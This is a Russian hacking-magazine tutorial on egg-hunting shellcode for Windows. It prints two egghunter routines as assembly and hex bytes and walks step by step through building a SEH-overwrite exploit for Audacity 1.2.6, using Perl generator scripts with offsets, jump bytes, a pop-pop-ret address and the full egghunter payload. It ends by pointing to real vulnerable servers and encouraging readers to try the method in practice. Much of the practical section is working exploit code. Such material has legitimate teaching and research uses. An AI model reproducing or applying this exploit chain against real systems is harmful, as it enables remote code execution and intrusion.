Содержание статьи
В последних номерах ][ была написана серия статей по кодингу живучих сплойтов с использованием разнообразных методов обхода механизмов защиты в последних версиях Windows. Чтобы ты был просвещен и чувствовал себя в сплойтостороении как рыба в борще, я поведаю кое-что на близкую тему — шеллкодописание.
А именно: внутренности и технические подробности метода/шеллкода. Имя ему — Egg Hunting.
Что такое EGG HUNTING?
По сути иггхантинг представляет собой небольшой по размеру шеллкод, цель которого — найти в виртуальной памяти атакуемого процесса боевой шеллкод и передать ему управление процессом. Нахождение обеспечивается за счет уникальной последовательности символов, стоящих перед основным шеллкодом. На самом деле, Egg Hunting — это один из классических методов, используемых в сплойтостроении/шеллкодописании. Используется он уже давно в тех или иных ситуациях. Лучшей работой по данной теме считается статья такого известного человечка как skape аж от 2003 года (hick.org/code/skape/papers/egghuntshellcode.pdf).
А зачем оно нам
Если просто, то иггхантинг используют в ситуациях, когда основной шеллкод не влезает в переполняемый буфер и/или неизвестно, где он размещен в памяти. Если непонятно, то поймешь на примере. А если с подробностями, то...
Все мы просматриваем багтрэк, читаем описание уязвимостей, иногда закладываем в PoC-сплойты. Большинство из них имеют начинку в виде, например, запуска калькулятора или открытия TCP-порта. То же самое относится и ко всякого рода статьям про сплойтостроение, где сплойты применяются в лабораторных условиях, а начинка используется только для того, чтобы показать, что все получилось. В реальной жизни, как ни странно, не все так просто, и функционала калькулятора явно не хватает для того, чтобы и в систему въесться, и обойти всякие механизмы безопасности, не говоря уж об антивирусах и файерволах, и, к тому же, ограничениях на используемые символы.
Конечно, во многом выручают staged-шеллкоды, где боевой шеллкод попадает в память постепенно, по стадиям. М-м… в общем, иггхант — это подвид staged-шеллкода.К примеру, универсальный шеллкод на запуск калькулятора — всего 200 байт (а привязанный к конкретной ОС и ее адресам — всего 27 байт :)), на бинд — 341 байт. Если добавить ограничения на использование \x00\xff, что вполне обычно, получаем 227 байт и 368 байт соответственно.
Если предположить, что мы ограничены БУКВО-циферками: 534, 816. В общем, тут все понятно.
Да и проcтой бинд порта — неинтересно. К примеру, шеллкод на установку туннеля через DNS, о котором я писал в рубрике Easy Hack, весит аж за 1000 байт, и это в натуральном виде.
Что же нам могут предложить эксплойты? Сколько могут вместить в себя начинки? По-разному. Очень.
Это в лабораторных условиях при переполнении буфера мы получаем большую, непрерывную, неизмененную область в стеке с полностью контролируемым EIP. Эх… Кстати, в MSF к каждому сплойту указывается размер возможной начинки и запрещенные символы в разделе «Payload information». Например, ms08_067_netapi — 400 байт, trendmicro_serverprotect — 800 байт, а размер сплойтов на ActiveX неограничен, так как боевой шеллкод в куче. Как видишь, далеко не все сплойты могут вместить в себя все, что хотелось бы. Что же делать? Все зависит от ситуации, но иногда нам помогает техника иггхантинга.
Иногда — это когда основной шеллкод есть еще где-то в виртуальном адресном пространстве процесса. Как его запихнуть туда? Все зависит от ПО. Например, для IE 6/7, извращаясь с ява-скриптом, мы можем запихнуть основной шелл в кучу или, для imap-сервера Mercur Messaging — последовательной отправкой imap-запросов.
Новая жизнь иггхантинга
Не совсем новая, но... жизнь ведь не стоит на месте, и семейство ОС Windows обзавелось такими страшными словами как ASLR, SafeSEH, DEP, GS и т.д. Что это для нас значит? Писать сплойты, особенно универсальные, стало гораздо, гораздо труднее. Но, конечно, не невозможно. Раз разработчики используют комплексные меры по защите, мы используем комплексные меры по взлому :). Отличным примером здесь является jit-spay шеллкод под IE8, FF3.6 с обходом DEP, ASLR (exploit-db.com/exploits/13649/), написанный Алексеем Синцовым. В этом сплойте он использовал иггхантинг в jit-спрее почти единственном доступном куске в памяти, которая исполняема. Возможности запихнуть в спрей основной шеллкод не было из-за всевозможных ограничений.
Теория
Что собой представляет иггхантинг-шеллкод и требования к нему? В общем-то, иггхантгинг-шеллкод — это шеллкод минимального размера, который может быстро найти в вируальном адресном пространстве процесса основной шеллкод и передать ему управление. Иггхантинг находит основную начинку по последовательности символов, стоящих перед ней. Это так называемый tag или egg, потому и egg hunting. Само «яйцо» — уникальная четырехбайтовая последовательность символов, которая повторяется дважды. Дважды, чтобы избежать коллизий, то есть неверных обнаружений иггхантером. К тому же, что это за боевой шеллкод, если у него или одно яйцо, или совсем их нету :).
Основная «трудность» для иггхантера в том, что не все виртуальное адресное пространство процесса выделено («существует»). То есть существуют невыделенные страницы памяти, попытка обратиться к которым вызовет ошибку access violation, и программа тупо вылетит.
Во-вторых, начинка находится неизвестно где, поэтому доступные страницы приходится побайтово перебирать. Существует три (с половиной) основных техники организации иггхантинга под семейство Windows. Общий алгоритм у них похож: иггхантер проверяет адреса памяти на возможность доступа и, при положительном результате, побайтово сравнивает память для поиска тега. Разница заключается в реализации.
NTDISPLAYSTRING / NTACCESSCHECKANDAUDITALARM
Это основная (с половиной :)) техника. Она заключается в использовании системного вызова(system call) NtDisplayString для проверки доступа к странице памяти. Вид вызова:
NTSYSAPI NTSTATUS NTAPI NtDisplayString(
IN PUNICODE_STRING String
);
Вообще, вызов производится за счет прерывания: в EAX указывается, какой вызов произвести, а в остальных регистрах — аргументы к нему. В данном случае адрес, к которому мы пытаемся получить доступ, лежит в регистре EDX. Ответ функции попадает в EAX и равен 0xc0000005, если доступ к странице вызовет Access Violation. Для побайтового сравнения используется оператор scads, который оперирует с нашим тэгом (egg) в EAX и адресом из EDI.
Общий вид шеллкода и его подробное описание:
00000000 6681CAFF0F or dx,0xfff
00000005 42 inc edx
00000006 52 push edx
00000007 6A43 push byte +0x43
00000009 58 pop eax
0000000A CD2E int 0x2e
0000000C 3C05 cmp al,0x5
0000000E 5A pop edx
0000000F 74EF jz 0x0
00000011 B890509050 mov eax,0x77303074
00000016 8BFA mov edi,edx
00000018 AF scasd
00000019 75EA jnz 0x5
0000001B AF scasd
0000001C 75E7 jnz 0x5
0000001E FFE7 jmp edi
Итак, первые две строчки выравнивают EDX под начало страницы памяти. Размер минимальной страницы равен 1000h в x86, поэтому мы проверяем адрес, и, если его нет, переходим к следующей странице.
Таким образом, сначала мы меняем последние три байта EBX на FFF, а потом инкриминируем, что в итоге дает нам выравнивание по 1000h. После, при джампах, мы увеличиваем значение EDX либо на 1h(см. строки 00000019, 0000001C), либо до следующей страницы, то есть на 1000h (см. 0000000F).
Далее мы кладем EDX в стек, чтобы сохранить значение, так как регистры меняют свои значения при вызове функции. Следующие две команды перемещают в EAX 0x43h. Этим мы указываем, что надо запустить именно функцию NtDisplayString. int 2e делает системный вызов. Результат, как уже говорилось, попадает в EAX. Его младшие байты мы сравниваем с 0x5 и при положительном результате (то есть, access violation) прыгаем в начало шеллкода для перехода на следующую страницу. Перед этим, конечно, вынимаем EDX из стека.
Далее идет побайтовое сравнение. Здесь 0x77303074 — это тэг (может быть «любой», тут — «w00t»), который должен находиться перед основным шеллкодом. Его мы помещаем в EAX, а в EDI помещаем адрес из EDX. SCASD сравнивает значение из EAX c тем, что находится по адресу в EDI. В случае неудачи мы перемещаемся обратно на вторую строчку шеллкода, где значение EDX увеличивается на единицу, а остальное повторяется заново.
Повторное использование SCASD требуется, чтобы еще раз найти тэг сразу после первого. При использовании оператора SCASD указатель на память в EDI сдвигается, поэтому мы сразу прыгаем в начало нашего основного шеллкода, используя jmp edi. Почему же я упомянул какую-то половинку в паре абзацев выше? Да это к тому, что вместо описанной skape’ом функции NtDisplayString можно использовать более позднюю придумку — NtAccessCheckAndAuditAlarm. Фактически разница в коде будет лишь в номере вызываемой функции.
Вместо для NtDisplayString:
00000007 6A43 push byte +0x43
Должно быть для NtAccessCheckAndAuditAlarm:
00000007 6A02 push byte +0x2
Бонус от использования NtAccessCheckAndAuditAlarm в «постоянстве». Смещение(0x43h), которое используется для вызова системной функции для NtDisplayString вроде как меняется в последних версиях ОС.
ISBADREADPTR
Эта техника использует стандартную API-функцию для проверки доступа к виртуальной памяти. Вид функции следующий:
BOOL IsBadReadPtr(
const VOID* lp,
UINT_PTR ucb
);
То есть, нам требуется при вызове функции данные передавать через стек. Логика работы этой техники аналогична предыдущей, поэтому лишь кратко пробегусь по коду.
00000000 33DB xor ebx,ebx
00000002 6681CBFF0F or bx,0xfff
00000007 43 inc ebx
00000008 6A08 push byte +0x8
0000000A 53 push ebx
0000000B B80D5BE777 mov eax,0x77e75b0d
00000010 FFD0 call eax
00000012 85C0 test eax,eax
00000014 75EC jnz 0x2
00000016 B890509050 mov eax, 0x77303074
0000001B 8BFB mov edi,ebx
0000001D AF scasd
0000001E 75E7 jnz 0x7
00000020 AF scasd
00000021 75E4 jnz 0x7
00000023 FFE7 jmp edi
Первые три строчки — выравнивание EBX под размер страницы и побайтовый проход по доступной памяти. Далее складываем аргументы к функции, где 0x8h — ucb-аргумент, а EBX — проверяемый адрес в памяти. В EAX запихиваем адрес IsBadReadPtr в виртуальной памяти процесса. Это самый большой недостаток данной техники, так как положение функции будет меняться в зависимости от версии, сервис-пака, языка системы, не говоря уж о рандомизации пространства. Если значение в EAX не равно нулю, то происходит переход к следующей странице памяти. Остальная часть кода аналогична предыдущей технике.
Последняя техника основывается на использовании SEH, но я тебе о ней не расскажу, так как и получаемый иггхантер большой по размеру (60 байт), и, главное, начиная с XP SP2 для ее эксплуатации приходится обходить защиту SEH'а, что делает ее в большинстве случаев не юзабельной.
Еще пара моментов
Использованием сдвоенного тэга (яйца) обусловлено еще и тем, что иггхантинг может найти сам себя (тэг в своем теле) до нахождения тэга, стоящего перед основным шеллкодом, и передать туда управление, что нам не требуется.
Так как мы используем SCASD, то необходимо отслеживать, чтобы флаг направления (D) был сброшен, иначе поиск будет происходить в обратном направлении, что приведет к неправильной работе иггхантера и вылету процесса. Но такое бывает очень редко и исправляется добавлением команды сброса флага направления — CDL. Поиск иггхантер производит по кругу, то есть после конца адресного пространства процесса он переходит в начало. Таким образом, если иггхантер не найдет тэг перед основным шеллкодом, то процесс конкретно зависнет в бесконечном цикле, забирая при этом 100% произ водительности проца.
Кстати, в Linux-системах иггхантинг юзается ничем не хуже, чем под Windows, и алгоритм аналогичен первому, разве что системные вызовы другие, да регистры. Подробнее можешь почитать в той же статье от skape.
Практическая часть. Пример
Коли мы уже определились в необходимости иггхантинга как метода, давай опробуем его и некоторые его возможности на практике.
Признаюсь что пример — лабораторный, но чрезвычайно показательный, а главное — доступный, но об этом — после.
Для опытов мы воспользуемся звуковым редактором Audacity. Версия с переполнением — 1.2.6. Взять можно либо с offensive-security.com/archive/audacity-win-1.2.6.exe, либо с диска. Чтобы не повторяться — на диске есть все, о чем написано в данной статье, от ПО до всех вариантов эксплойтогенерилки.
Инструментарий для препарирования — будем пользоваться Immunity Debugger’ом c аддоном pvefindaddr от corelanc0d3r'а (от котором я писал в прошлом номере). Взять отсюда — immunityinc.com/productsimmdbg.shtml, либо отсюда — corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/ .
Для того, чтобы pvefindaddr заработал, пихай его в коробку с гвоздями. То есть в PyCommands.
Сам эксплойт будет создаваться посредством Perl’а, так что под Win — ActivePerl с activestate.com/activeperl. Личное пристрастие…
Итак, к делу. Переполнение буфера возникает при импорте специально сформированного MIDI-файла в программе. Создаем файл с AAAAA в 2000 байт.
#!/usr/bin/perl
$junk = "\x41" x 2000 ; #Буква А 2к раз
$sploit = $junk; #Итоговый сплойт
open(FILE, ">test.gro") or die "Cannot open file: $!";
#Открываем файл на запись
print FILE $sploit; #Пишем текст
close(FILE); #Закрываем
print "test.gro has been created \n";
Открываем Audacity в дебаггере и запускаем его (F9). Импортируем в звуковой редактор (Проект-Импорт MIDI). И видим в дебаггере access violation по адресу 41414141. Смотрим — переполнение не самое удобное: EIP не перезаписали, адрес возврата тоже. Доступен лишь ESI, искаженно — регистр ECX. Стек кусочково загажен нашими А (см. выше и ниже). Зато перезаписали SEH (View - SEH chain). С нововведениями в винду защита исключений поднялась в разы, но для примера оно сойдет. Чудесно. Так, узнаем подробности, используя плагин к pvefindaddr.
Создаем паттерн:
!pvefindaddr pattern_create 2000
Длиннющую строчку, полученную из окошка лога(l) или из файла mspattern.txt в папке Immunity Debugger’а, пихаем в переменную $junk. Пересоздаем test.gro и перезапускаем эдитор в дебаггере (ctrl+F2).
Смотрим итог, используя функцию suggest, которая ищет в памяти первые 8 байт паттерна и выдает адреса, а также указывает, на что мы можем воздействовать (регистры, SEH и т.д.), и какое необходимо смещение.
!pvefindaddr suggest
Можно узнать смещение и для конкретной части паттерна. К примеру, при переполнении SEH перезаписался значением 67413966, тогда смещение узнаем так:
!pvefindaddr pattern_offset 67413966
Не буду вдаваться в подробности описания техники перезаписи SEH, но напомню основные моменты. SEH-запись в стеке состоит из двух 4-байтных адресов. Один из них — указатель на следующий обработчик исключений (nextSEH), если данный не сработает, а второй — указатель на сам код, обрабатывающий исключение. При возникновении исключения программа переходит по этому адресу. Но, так как нам нужно передать управление на стек, то мы находим где-то в памяти последовательность инструкции pop, pop, ret, тем самым избавляемся от лишних данных в стеке, появившихся после перехода на обработчик, и возвращаемся в стек. Так как nextSEH расположен на вершине стека, то нам нужно перепрыгнуть запись об обработчике исключения, что мы делаем, используя конструкцию \xeb\x06\x90\ x90. Первые два байта — джамп вперед на 6 байт (2 байта \x90 (NOP) и 4 байта адреса на SEH), то есть, за обработчик на наш шеллкод.
Надеюсь, что понятное объяснение получилось.
Итак, SEH находится на 178 байте, next SEH — 174. Чудесно. Для того, чтобы найти необходимую последовательность «pop pop ret», воспользуемся плагином еще раз. Для этого в нем есть несколько функций. Без параметров он ищет в памяти процесса данную последовательность со всеми регистрами. По функции «p» — поиск происходит только для библиотек скомпилированных без safeSEH, по «p1» — без safeSEH и ASLR, «р2» — по всем.
!pvefindaddr p
Полученный адрес, как ты понимаешь, будет у всех разный, так как зависит он от версии, пака ОС. Так что подбери какой-нибудь.
$junk = "\x41"x174; # мусор в начале
$jumpNextSEH = "\xeb\x06\x90\x90"; # джамп на 6 байт
вперед
$SEH = pack ("V",0x013e5423); # пакуем переход на pop
pop ret
$shell = "\x42"x200"; # тут будет шеллкод, а пока
буква B 200 раз
$sploit = $junk.$jumpNextSEH.$SEH.$shell;
…
Генерим, импортируем. На ошибке проверим полученный SEH-адрес:
- View — SEH chain;
- Правой кнопкой на нашем адресе — Follow hadler.
Должна быть запись pop, pop, ret. Если так, то ставим на первом pop'е брэйкпоинт — F2 (либо сразу в окне SEH chain). Shift+F9, чтобы продолжить выполнение программы. Программа должна остановиться на pop. Теперь пошагово (F7) доходим до ret и возвращаемся на NextSEH, он же — джамп на 6 байт. Далее наш шеллкод — много «B».
Теперь смотрим, хотя наш псевдошеллкод и на месте, но размер его — никак не 200 байт. Там всего 72 байта. Мало. Если посмотреть выше и ниже по стеку, то мы также найдем куски сплойта. Можно, конечно, заморочиться и собрать... но ближе к иггханту.
Подставим какой-нибудь реальный шеллкод в сплойт и поищем его в памяти процесса.
Отдельно сохраняем шеллкод, перезапускаем эксплойт и ищем в дебаггере:
#!/usr/bin/perl
$shell="\xeb\x03…..\x5a"; # какой-то шеллкод
open(FILE, ">shell") or die "Cannot open file: $!";
print FILE $shell;
close(FILE);
!pvefindaddr compare c:\egg\shell
Появится окошко, где перечислены все участки в памяти процесса с нашим шеллкодом и отметкой, изменено ли в них что-то. В логе указывается, что именно изменилось. Это бывает полезно для вычисления бажных символов. В нашем сплойте получается три варианта, обрезанных с 73 символа, и один нормальный. Но место его меняется при перезапуске проги, и регистры на него не ссылаются, то есть по-простому на него не перейти. Потому используем иггхант-шеллкод в этих 72 байтах, который и основной код найдет, и управление ему передаст. Добавляем:
# Яйцо перед основным шеллкодом
$tag="\x77\x30\x30\x74";
# NtAccessCheck хантер с яйцом в теле
$egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\
x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" . $tag . "\x8B\
xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
# Сдвигаем основной шеллкод из стека
$junk2="\x90"x50;
# Кучкуем итог
$sploit = $junk.$jumpNextSEH.$SEH.$egghunter.$junk2.
$tag.$tag.$shell;
$junk2 требуется, так как иггхантер меньше доступного буфера в 73 байта, потому мы должны сдвинуть основной шеллкод, чтобы его начальные куски (тэги) не были раскиданы по памяти, и не произошло ложное нахождение. В общем-то, все. Управление передается через SEH, иггхантер ищет основной код и передает ему контроль.
Юзая данный пример, можно хорошенько проследить за поведением хантера и увидеть то, что было описано в теоретической части данного эпоса. Например, обнулить EDX(\x33\xD2) в начале и посмотреть на скорость нахождения основного шеллкода. Кстати, работу иггханта можно увидеть по возрастанию количества «ошибок страниц» в Диспетчере задач. Но оставлю это на личную инициативу. Хотя вот пара ссылок:
Пример от corelanc0d3r'а: corelan.be:8800/index.php/2010/01/09/exploitwritingtutorial-part-8-win32-egg-hunting/.
Пример иггхантера в MSF: offensive-security.com/metasploitunleashed/ и иггхантер-шеллкод с поиском только по куче: r00tin.blogspot.com/2009/03/heap-only-egg-hunter.html
Типа, заключение
Иггхантинг — крутой метод. Это точно. И простой, и рабочий. Приведенный пример, конечно, не жизненный, поэтому хочу привести пару иных примеров. Они, к сожалению, для изысканий недоступны, так как являются платными продуктами, зато это прибавляет крутости методу. К примеру, «Mercur Messaging 2005» IMAP-сервер.
Имеет переполнение буфера в обработке команды SUBSCRIBE(CVE-ID: 2007-1579). В стандартном эксплойте доступно 224 байта для payload’а. С использованием техники иггхантинга, мы можем предварительно послать более вместительную команду LIST с основным шеллкодом, а это уже 2 Кб. Или McAfee ePolicy Orchestrator 3.5.0. Переполнение дает 140 байт, а с иггхантером — неограничено.
В общем-то ясно, что многие эксплойты можно улучшить, если применить к ним данный метод. Так что радуемся новым знаниям и спешим проверить их на практике :).